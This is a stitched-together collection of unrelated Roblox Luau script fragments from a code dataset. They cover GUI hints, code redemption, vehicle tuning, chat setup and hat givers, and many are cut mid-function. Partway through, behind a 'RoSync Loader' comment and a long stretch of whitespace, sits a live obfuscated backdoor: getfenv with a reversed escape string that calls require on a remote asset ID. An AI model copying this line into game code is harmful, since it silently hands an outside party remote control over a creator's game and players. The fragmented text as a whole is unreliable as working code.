Roblox/luau_corpus huggingface dataset:
--
-- Top Hint
--
--  * This is a string of text that's top-centered in the window. (White text on black background)
--  * It should be used for messages from the client, and never from the place creator. 
--
-- FEATURES:
--  * Auto-hides previous messages before showing yours.
--  * Always centered, regardless of length.
--  * Clicking the message hides it.
-- 
-- USE IT FOR:
--  * Quick task-related (non-essential) hints
--  * Showing the current modal state
--  * Tool hints (for the currently equipped tool)
--  * Keyboard shortcuts
--
-- NEVER USE IT FOR:
--  * Essential information (Use a popup instead)
--  * Messages from users or place creators.  This is for client messages only.
--
-- ARGUMENTS:
--  Label:  The message
--  Width:  Text and background width (pixels) -- This should be removed when textWidth is added to Lua
--  Time:   Seconds before hiding itself (If 0, it never hides)
--
-- USAGE:
local topHint = script.Parent.topHint  -- path to topHint ScreenGui
topHint.Add.Label.Value = "Press D to return to main menu."
topHint.Add.Width.Value = 290
topHint.Add.Time.Value = 7
topHint.Add.Disabled = true  -- flip it off then on, in case it's currently running.
topHint.Add.Disabled = false
--Hello! I have known this script for a long time now, but never thought about making a script
-- from it.Hope you enjoy.--

pos = script.Parent.Position
pos = Vector3.new(pos.x, pos.y-0.2, pos.z)
x = 0
z = 0
T = -99999
tall = script.Parent.Size.Y / 2
math.randomseed(tick())
rand = (math.random(0,20))/10
while true do
	x = pos.x + (math.sin(T + (pos.x/5)) * math.sin(T/9))/3
	z = pos.z + (math.sin(T + (pos.z/6)) * math.sin(T/12))/4
	script.Parent.CFrame =
		CFrame.new(x, pos.y, z) * CFrame.Angles((z-pos.z)/tall, 0,(x-pos.x)/-tall)
	wait()
	T = T + 0.005
end
-- print(PId)

local button = script.Parent -- обозначение к чему привязан наш скрипт
button.MouseButton1Down:Connect(function()
	-- print("PId:",PId)
	local player = players.LocalPlayer -- локальный игрок
	local a=MS:PromptProductPurchase(player,PId) -- выполнение запроса покупки
	-- print("Покупка:",a)	
end)
--Codes
local codelist = {
	code1 = "ROBLOX", -- Always put a comma every timne you're going to add another code
	code2 = "Release"
}

script.Parent.MouseButton1Click:Connect(function()
	if script.Parent.Parent.CodeHandler.Text == codelist.code1 then -- Im gonna add an expiration in this code
		if date["month"] == 8 and date["day"] <= 3 then -- Months are in numerical order .Month and Day must be in lowercase letters. Use "<=" If you want to make your code valid until that date. Use "==" if you want to make your code valid only on that date.
			if not codes:FindFirstChild("Code1") then -- This one here
				RE:FireServer(500, "Code1") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools.
				script.Parent.Text = "Code redeemed successfully!"
				script.Parent.Parent.CodeHandler.Text = "" -- Removes the text in our code handler textbox
				wait(2)
				script.Parent.Text = "Redeem Code"
			else
				script.Parent.Text = "Code already redeemed!"
				wait(2)
				script.Parent.Text = "Redeem Code"
			end	
		else
			script.Parent.Text = "Code expired!"
			wait(2)
			script.Parent.Text = "Redeem Code"		
		end
	elseif script.Parent.Parent.CodeHandler.Text == codelist.code2 then -- Your second code. So if our textbox matches the code in our dictionary...
		if not codes:FindFirstChild("Code2") then -- This one here
			RE:FireServer(25000, "Code2") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools.
			script.Parent.Text = "Code redeemed successfully!"
			script.Parent.Parent.CodeHandler.Text = ""
			wait(2)
			script.Parent.Text = "Redeem Code"
		else
			script.Parent.Text = "Code already redeemed!"
			wait(2)
			script.Parent.Text = "Redeem Code"
		end
	else
		script.Parent.Text = "Code invalid!"
		script.Parent.Parent.CodeHandler.Text = ""
		wait(2)
		script.Parent.Text = "Redeem Code"
	end
end)
-- Roact
local new = Roact.createElement
local Tooltip = require(script.Parent:WaitForChild('Tooltip'))
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------
	,VRecoil = {4,6}				--- Vertical Recoil
	,HRecoil = {6,9}				--- Horizontal Recoil
	,AimRecover = .85				---- Between 0 & 1
	
	,RecoilPunch = .15
	,VPunchBase = 3.25				--- Vertical Punch
	,HPunchBase = 2.5					--- Horizontal Punch
	,DPunchBase = 1 				--- Tilt Punch | useless
	
	,AimRecoilReduction = 5 		--- Recoil Reduction Factor While Aiming (Do not set to 0)
	,PunchRecover = 0.2
	,MinRecoilPower = .5
	,MaxRecoilPower = 3
	,RecoilPowerStepAmount = .25
	
	,MinSpread = 7					--- Min bullet spread value | Studs
	,MaxSpread = 40					--- Max bullet spread value | Studs
	,AimInaccuracyStepAmount = 1.5
	,WalkMultiplier = 0				--- Bullet spread based on player speed

	,SwayBase = 0.25				--- Weapon Base Sway | Studs
	,MaxSway =	1					--- Max sway value based on player stamina | Studs
-- Apply some properties

player.CameraMaxZoomDistance = 8
if humanoid.CameraOffset == Vector3.new(0,0,0) then
ok()
elseif humanoid.CameraOffset == Vector3.new(0,0,-1.2) then
ok()
elseif
humanoid.CameraOffset == Vector3.new(0,-1,-1.2) then
ok2()
elseif
humanoid.CameraOffset == Vector3.new(0,-3,-1.2) then
ok3()
end
	

function lock(part)
	if part and part:IsA("BasePart") then
		part.LocalTransparencyModifier = part.Transparency
		part.Changed:connect(function (property)
			part.LocalTransparencyModifier = part.Transparency
		end)
	end
end

for _,v in pairs(char:GetChildren()) do
	lock(v)
end

char.ChildAdded:connect(lock)

c.Changed:connect(function (property)
	if property == "CameraSubject" then
		if c.CameraSubject and c.CameraSubject:IsA("VehicleSeat") and humanoid then
			-- Vehicle seats try to change the camera subject to the seat itself. This isn't what we wan't really.
			c.CameraSubject = humanoid;
		end
	end
end)
end
-- Gets the player ready by spawning them
local function readyPlayer(player, whichSpawn)
	local character = player.Character or player.CharacterAdded:wait()
	local humanoidRootPart = character:FindFirstChild("HumanoidRootPart")
	
	humanoidRootPart.Anchored = true

	-- Move player to SpeederSpawnLocation
	character:SetPrimaryPartCFrame(whichSpawn.CFrame)
end
--------RIGHT DOOR --------

game.Workspace.doorright.l31.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(21)
-- Decompiled with the Synapse X Luau decompiler.

local v1 = script:FindFirstAncestor("MainUI");
local l__LocalPlayer__2 = game.Players.LocalPlayer;
local l__TweenService__1 = game:GetService("TweenService");
return function(p1, p2, p3)
	local v3 = game.ReplicatedStorage.Entities.Spider:Clone();
	v3.Parent = p1.cam;
	local v4 = v3.AnimationController:LoadAnimation(v3.Animations.Jump);
	local v5 = tick();
	for v6 = 1, 100 do
		if v4.Length > 0 then
			break;
		end;
		task.wait();
	end;
	local v7 = math.ceil(p2.Main.Size.X * 10) - 2;
	local v8 = math.ceil(p2.Main.Size.Z * 10) - 2;
	local v9 = Vector3.new(math.random(-v7, v7) / 22, 0, math.random(-v8, v8) / 22);
	local v10 = CFrame.Angles(0, math.rad(math.random(0, 360)), 0);
	v3:SetPrimaryPartCFrame((p2.Main.CFrame + v9) * v10);
	local l__CFrame__11 = v3.PrimaryPart.CFrame;
	for v12 = 1, 1000000 do
		task.wait();
		v3.PrimaryPart.CFrame = (p2.Main.CFrame + v9) * v10;
		if v5 + p3 < tick() then
			break;
		end;
	end;
	v3.PrimaryPart.Sound:Play();
	script.Scare:Play();
	v4:Play(0);
	local v13 = tick();
	local l__CFrame__14 = v3.PrimaryPart.CFrame;
	p1.camShaker:ShakeOnce(5, 6, 0.3, 0.6);
	for v15 = 1, 1000000 do
		task.wait();
		v3.PrimaryPart.CFrame = l__CFrame__14:Lerp(CFrame.new(p1.cam.CFrame.Position + p1.cam.CFrame.LookVector * 0.35, p1.cam.CFrame.Position), (l__TweenService__1:GetValue((tick() - v13) / 0.2, Enum.EasingStyle.Linear, Enum.EasingDirection.In)));
		if v13 + 0.2 < tick() then
			break;
		end;
	end;
	p1.camShaker:ShakeOnce(3, 24, 0, 1);
	local v16 = tick();
	for v17 = 1, 1000000 do
		task.wait();
		v3.PrimaryPart.CFrame = CFrame.new(p1.cam.CFrame.Position + p1.cam.CFrame.LookVector * 0.35, p1.cam.CFrame.Position);
		if v16 + 0.6 < tick() then
			break;
		end;
	end;
	v3:Destroy();
end;
--[[ Last synced 12/30/2021 08:43                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
--[[INSTRUCCIONES
* Tiempo entre que toca SENSOR y PARADA: 20 segundos
]]

function onTouched(hit)
	campana.Playing = true
	ondear.Value = 0.1
	chimenea1.Enabled = false
	chimenea2.Enabled = false
	ruedaderecha1.AngularVelocity = -2
	ruedaderecha2.AngularVelocity = -2
	
	wait(10)
	ondear.Value = 0.2
	campana.TimePosition = 0
	ruedaderecha1.AngularVelocity = -1
	ruedaderecha2.AngularVelocity = -1
	wait(10)
	ruedaderecha1.AngularVelocity = 0
	ruedaderecha2.AngularVelocity = 0
	ondear.Value = 50
	campana.Playing = false
	wait(parada) --PARADA
	ondear.Value = 0.2
	humoizquierdo.Enabled = true
	humoderecho.Enabled = true
	chimenea1.Enabled = true
	chimenea2.Enabled = true
	ruedaderecha1.AngularVelocity = -0.5
	ruedaderecha2.AngularVelocity = -0.5
	wait(1)
	ondear.Value = 0.1
	ruedaderecha1.AngularVelocity = -1
	ruedaderecha2.AngularVelocity = -1
	humoizquierdo.Enabled = false
	humoderecho.Enabled = false
	wait(1)
	ondear.Value = 0.05
	ruedaderecha1.AngularVelocity = -2
	ruedaderecha2.AngularVelocity = -2
	humoizquierdo.Enabled = true
	humoderecho.Enabled = true
	wait(1)
	ruedaderecha1.AngularVelocity = -3
	ruedaderecha2.AngularVelocity = -3
	humoizquierdo.Enabled = false
	humoderecho.Enabled = false
end
script.Parent.Touched:connect(onTouched)
--[[Brakes]]
Tune.ABSEnabled		= false		-- Implements ABS
Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS) 

Tune.FBrakeForce	= 10		-- Front brake force
Tune.RBrakeForce	= 3500		-- Rear brake force
Tune.PBrakeForce	= 40		-- Handbrake force

Tune.FLgcyBForce	= 15		-- Front brake force [PGS OFF]
Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
Tune.LgcyPBForce	= 25		-- Handbrake force [PGS OFF]
-- Etc
local DESTROY_ON_DEATH = getValueFromConfig("DestroyOnDeath")
local RAGDOLL_ENABLED = getValueFromConfig("RagdollEnabled")

local DEATH_DESTROY_DELAY = 5
local PATROL_WALKSPEED = 12 
local MIN_REPOSITION_TIME = 2
local MAX_REPOSITION_TIME = 10
local MAX_PARTS_PER_HEARTBEAT = 50
local SEARCH_DELAY = 1
--		if RunService:IsStudio() then
--			return nil
--		end
		local player = speaker:GetPlayer()
		if player then
			local success, canChat = pcall(function()
				return Chat:CanUserChatAsync(player.UserId)
			end)
			if success and not canChat then
				return ""
			end
		end
	end)
end

local systemChannel = ChatService:AddChannel("System")
systemChannel.Leavable = false
systemChannel.AutoJoin = true
systemChannel.WelcomeMessage = ChatLocalization:Get("GameChat_ChatServiceRunner_SystemChannelWelcomeMessage","This channel is for system and game notifications.")

systemChannel.SpeakerJoined:connect(function(speakerName)
	systemChannel:MuteSpeaker(speakerName)
end)


local function TryRunModule(module)
	if module:IsA("ModuleScript") then
		local ret = require(module)
		if (type(ret) == "function") then
			ret(ChatService)
		end
	end
end

local modules = game:GetService("Chat"):WaitForChild("ChatModules")
modules.ChildAdded:connect(function(child)
	local success, returnval = pcall(TryRunModule, child)
	if not success and returnval then
		print("Error running module " ..child.Name.. ": " ..returnval)
	end
end)

for i, module in pairs(modules:GetChildren()) do
	local success, returnval = pcall(TryRunModule, module)
	if not success and returnval then
		print("Error running module " ..module.Name.. ": " ..returnval)
	end
end

local Players = game:GetService("Players")
Players.PlayerRemoving:connect(function(playerObj)
	if (ChatService:GetSpeaker(playerObj.Name)) then
		ChatService:RemoveSpeaker(playerObj.Name)
	end
end)
-------------------------
function onClicked()
R.Function1.Disabled = true

FX.ROLL.BrickColor = BrickColor.new("CGA brown")
FX.ROLL.loop.Disabled = true

FX.REVERB.BrickColor = BrickColor.new("CGA brown")
FX.REVERB.loop.Disabled = true

FX.GATE.BrickColor = BrickColor.new("CGA brown")
FX.GATE.loop.Disabled = true

FX.PHASER.BrickColor = BrickColor.new("CGA brown")
FX.PHASER.loop.Disabled = true

FX.SLIPROLL.BrickColor = BrickColor.new("CGA brown")
FX.SLIPROLL.loop.Disabled = true

FX.FILTER.BrickColor = BrickColor.new("CGA brown")
FX.FILTER.loop.Disabled = true

FX.SENDRETURN.BrickColor = BrickColor.new("Really red")
FX.SENDRETURN.loop.Disabled = true

FX.TRANS.BrickColor = BrickColor.new("CGA brown")
FX.TRANS.loop.Disabled = true

FX.ECHO.BrickColor = BrickColor.new("CGA brown")
FX.ECHO.loop.Disabled = true

FX.DELAY.BrickColor = BrickColor.new("CGA brown")
FX.DELAY.loop.Disabled = true

FX.REVROLL.BrickColor = BrickColor.new("CGA brown")
FX.REVROLL.loop.Disabled = true
R.loop.Disabled = false
R.Function2.Disabled = false
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
-- Decompiled with the Synapse X Luau decompiler.

return { {
		id = 340623941, 
		name = "Ninja Bandolier"
	}, {
		id = 101081225, 
		name = "Conductor's Gold Pocket Watch"
	}, {
		id = 1117745036, 
		name = "Garlic Lapel Pin"
	}, {
		id = 2131069286, 
		name = "UFO Lapel Pin"
	}, {
		id = 501965407, 
		name = "Scarlet Lapel Flower"
	}, {
		id = 1320949015, 
		name = "Dragon Head Lapel Pin"
	} };
------------------------------------------------------------------------
-- dump debug information
------------------------------------------------------------------------
function luaU:DumpDebug(f, D)
  local n
  n = D.strip and 0 or f.sizelineinfo           -- dump line information
  --was DumpVector
  self:DumpInt(n, D)
  for i = 0, n - 1 do
    self:DumpInt(f.lineinfo[i], D)
  end
  n = D.strip and 0 or f.sizelocvars            -- dump local information
  self:DumpInt(n, D)
  for i = 0, n - 1 do
    self:DumpString(f.locvars[i].varname, D)
    self:DumpInt(f.locvars[i].startpc, D)
    self:DumpInt(f.locvars[i].endpc, D)
  end
  n = D.strip and 0 or f.sizeupvalues           -- dump upvalue information
  self:DumpInt(n, D)
  for i = 0, n - 1 do
    self:DumpString(f.upvalues[i], D)
  end
end
-- função para adicionar vírgulas a um número
local function commaSeparateNumber(amount)
	local formatted = amount
	while true do  
		formatted, k = string.gsub(formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
		if k == 0 then
			break
		end
	end
	return "Exp:"..formatted
end
--print("jumping")
local goal = {}
goal.Position = chicken.Position + Vector3.new(0,1,0)
local tweenInfo = TweenInfo.new(.7,Enum.EasingStyle.Quad,Enum.EasingDirection.Out,0,true,0)
local tween = ts:Create(chicken,tweenInfo,goal)
tween:Play()
end
while true do
local jumpchance = math.random(1,10)
if jumpchance < 5 then
	jump()
end
wait(math.random(1,3))
end
--[[
	Enters the view, cloning the element from ReplicatedStorage.
]]
function Dead.enter()
	failSound:Play()

	activeElements = elements:Clone()

	activeElements.Message.Text = translate("You didn't escape")

	activeElements.Parent = LocalPlayer.PlayerGui
end
--[[Susupension]]
	Tune.SusEnabled		= true		-- Sets whether suspension is enabled for PGS
	
	--Front Suspension
	Tune.FSusStiffness	= 9000		-- Spring Force
	Tune.FSusDamping	= 550		-- Spring Dampening
	Tune.FAntiRoll 		= 100		-- Anti-Roll (Gyro Dampening)
	
	Tune.FSusLength		= 2		-- Resting Suspension length (in studs)
	Tune.FPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= .8		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 85		-- Suspension Angle (degrees from horizontal)
		
	Tune.FWsBoneLen		= 4			-- Wishbone Length
	Tune.FWsBoneAngle	= 2			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward
	
	--Rear Suspension
	Tune.RSusStiffness	= 8500	-- Spring Force
	Tune.RSusDamping	= 550		-- Spring Dampening
	Tune.RAntiRoll 		= 100		-- Anti-Roll (Gyro Dampening)
	
	Tune.RSusLength		= 2.2		-- Resting Suspension length (in studs)
	Tune.RPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= .8		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
	
	Tune.RWsBoneLen		= 4			-- Wishbone Length
	Tune.RWsBoneAngle	= 2			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward
	
	--Aesthetics	
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Really black"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness
-- Settings can be modified in lines 13-17
--=======================================--



local sm = Color3.fromRGB(17, 200, 216)--color of the messages
local welcomeMessage = "Welcome to the game!" -- message that a player is shown when they join
local welcomeMessageOn = true -- set to true to give a player a message when they join the game
local joinMessage = " has joined." -- will display as "[player] has joined.""
local displayJoinMessage = true
local leftMessage = " has left." -- will display as "[player] has left."
local displayLeaveMessage = true
--[[Engine]]
	--Torque Curve
    Tune.Horsepower		= 3000		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 2000		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6500		--		Use sliders to manipulate values
	Tune.Redline		= 10000
	Tune.EqPoint		= 7500
	Tune.PeakSharpness	= 10
	Tune.CurveMult		= 1
	
	--Incline Compensation
	Tune.InclineComp	= 90			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Misc
	Tune.RevAccel		= 470		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 486		-- RPM decay when clutch is off
	Tune.RevBounce		= 170		-- RPM kickback from redline
	Tune.IdleThrottle	= 0			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)
--[=[
	@class Ser

	Library for serializing and deserializing data.

	See the `Classes` property for information on extending the use
	of the Ser library to include other classes.

]=]
local Ser = {}
-- Make signal strict
setmetatable(Signal, {
	__index = function(_, key)
		error(("Attempt to get Signal::%s (not a valid member)"):format(tostring(key)), 2)
	end,
	__newindex = function(_, key, _)
		error(("Attempt to set Signal::%s (not a valid member)"):format(tostring(key)), 2)
	end
})

return Signal
-- Shorthands
local vec3 = Vector3.new
local cframe = CFrame.new
local zeroVector = vec3(0, 0, 0)
local uz = vec3(0, 0, 1)
local ux = vec3(1, 0, 0)
local sqrt = math.sqrt
local dot = zeroVector.Dot
local cross = zeroVector.Cross
-- Play Button
script.Parent.Frame.Frame.TextButton.MouseButton1Click:Connect(function()
	cam.CameraType = Enum.CameraType.Custom
	script.Parent.Enabled = false
	script.Parent.Parent.ObbyTimer.Enabled = true
	script.Parent.Parent.PackUI.Enabled = true
	script.Parent.Parent.CompletionGUI.Enabled = true
	looping = false
	currentTween:Pause()
end)
-- If you want to know how to retexture a hat, read this:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388








debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Hat"   -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle" 
		p.formFactor = 0
		p.Size = Vector3.new(-0,-0,-1) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0,-0.25,0) -- Change these to change the positiones of your hat, as I said earlier.
		wait(5)		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)